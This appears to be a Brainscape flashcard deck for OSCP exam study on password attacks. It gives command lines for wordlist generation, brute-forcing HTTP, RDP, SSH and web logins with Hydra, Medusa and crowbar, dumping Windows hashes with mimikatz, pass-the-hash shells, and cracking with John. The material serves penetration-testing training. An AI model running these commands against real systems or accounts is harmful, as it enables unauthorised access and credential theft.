Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

OSCP > Password Attacks > Flashcards

Password Attacks Flashcards

1
Q

What is the name of the tool that creates a custom word list based on the website?
Give an example using it with the URL www.megacorpone.com

A

– cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What is the name of the tool that is a fast password cracker with the ability to generate custom wordlists?
Where is the configuration file to alter password rules?

A
  • John The Ripper

- /etc/john/john.conf

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How would you add a rule to JTR that adds a 2 digit number to the end of each password?

A
  • sudo vim /etc/john/john.conf

- $[0-9]$[0-9]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is a wordlist generator provided with Kali that can create word lists based on specific password policies?

A

Crunch

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What are the character placeholder translations for ‘crunch’?

A
  • @ = lower case alpha characters
  • , = upper case alpha characters
  • % = numeric characters
  • ^ = special characters including spaces
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Use ‘crunch to create a word list that is 8 characters in length, and follows the password structure of [capital letter][2 x lower case letters][2 x special characters][3 x numeric characters]

A

– crunch 8 8 -t ,@@^^%%%

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What are some risks with network service password attacks?

A
  • noisy
  • generate logs
  • may lock accounts out
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What command prepares the ‘rockyou’ word list for use?

A

– sudo gunzip /usr/share/wordlists/rockyou.txt.gz

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What tool is best used for an HTTP htaccess password attack?

A
  • Medusa

- THC-Hydra

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How would you use Medusa to attack the ‘admin’ account on an HTTP server at 10.11.0.22 on the ‘/admin’ page, with the ‘rockyou’ word list?

A

medusa -h 10.11.0.22 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What tool is recommended to for an RDP password attack?

A
  • crowbar
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How do you install ‘crowbar’?

A
  • sudo apt install crowbar
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What command would attempt an RDP password attack against 10.11.0.22/32 with the user ‘admin’ and password file ‘password-file.txt’?

A

crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What tool is recommended for SSH password attacks?

A

THC-Hydra

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

How would you use THC-Hydra for an SSH password attack against 10.11.0.22 with the ‘rockyou’ wordlist against the ‘admin’ user?

A

– hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.11.0.22

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

What tool is recommended or an HTTP Post password attack?

A
  • THC-Hydra
17
Q

What needs to be known for an HTTP Post password attack with Hydra?

A
  • IP address
  • URL of webpage containing the web form
  • ‘condition string’ that indicates an unsuccessful login attempt (ex. INVALID LOGIN)
18
Q

What is the best way to get the information required for Hydra for an HTTP Post password attack?

A
  • view the page source on the login page

- this should show what page handles the POST request (ex. /form/frontpage.php)

19
Q

What command should be used for an HTTP POST password attack with Hydra, given the following information:

  • IP = 10.11.0.22
  • POST URL = /form/frontpage.php
  • user = admin
  • condition string = ‘INVALID LOGIN’
  • wordlist = rockyou
A

hydra 10.11.0.22 http-form-post “/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN” -l admin -P /usr/share/wordlists/rockyou.txt -vV -f

20
Q

What tool is recommended for identifying the type of hash?

A

hashid

21
Q

Given a hash ‘$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE. bI66aMYSeDXKQ8s7JNFwa1s1KkTand
6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0’ how would you check for possible hashing algorithms used to created this hash?

A

kali@kali:~$ hashid ‘$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE. bI66aMYSeDXKQ8s7JNFwa1s1KkTand
6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0’
Analyzing ‘$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE. bI66aMYSeDXKQ8s7JNFwa1s1KkTand6ZsqQKAF3G
0tHD9bd59e5NAz/s7DQcAojRTWNpZX0’
[+] SHA-512 Crypt

22
Q

What is a recommended website for looking up hashes?

A

HashKiller

23
Q

On Windows, where are hashed user passwords stored?

A
  • SAM

- Security Accounts Manager

24
Q

What protective mechanism was implemented to protect against offline SAM database password attacks?

A
  • SYSKEY

- Partially encrypts the SAM file

25
Q

What is the recommended tool to extract hashes from Windows systems?

A

mimikatz

26
Q

What does mimikatz do?

A
  • Among other things, mimikatz facilitates password hash extraction from the Local Security Authority Subsystem (LSASS) process memory where they are cached
  • Since LSASS is a privileged process running under the SYSTEM user, we must launch mimikatz from an administrative command prompt
27
Q

In order to extract password hashes with mimikatz, what three commands need to be run?

A
  1. privilege::debug = enables the SeDebugPrivilege access right required to tamper with another process
    * ** If this command fails, mimikatz was most likely not executed with admin privs ***
  2. token::elevate = elevates the security token from high integrity (administrator) to SYSTEM integrity
    * ** LSASS is a SYSTEM process, which means it has even higher privileges than mimikatz running with admin privs ***
  3. lsadump::sam = dumps the contents of the SAM database
28
Q

What is pash-the-hash?

A
  • allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a clear text password
  • this is possible because NTLM/LM password hashes are not salted and remain static between sesssions
29
Q

What tool is recommended for passing-the-hash?

A

pth-winexe

30
Q

If we have extracted a hash ‘hashhashhash’ for user ‘offsec’, what command would we use from the attacking machine against 10.11.0.22 to get a ‘cmd’ shell?

A

pth-winexe -U offsec%hashhashhash //10.11.0.22 cmd

31
Q

What tool is recommended for cracking hashes?

A

JTR

32
Q

What command would we use to try cracking NT hashes in a file named hash.txt?

A

sudo john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt –format=NT

33
Q

How would you use JTR to crack hashes on a Linux system?

A
  1. use the ‘unshadow’ utility to combine the ‘passwd’ and ‘shadow’ files from the compromised system
    - -kali@kali:~$ unshadow passwd-file.txt shadow-file.txt
  2. crack with JTR
    - -kali@kali:~$ john –rules –wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
34
Q

What hash crack tool is recommended if GPUs are available?

A

hashcat

OSCP (14 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2025 Bold Learning Solutions. Terms and Conditions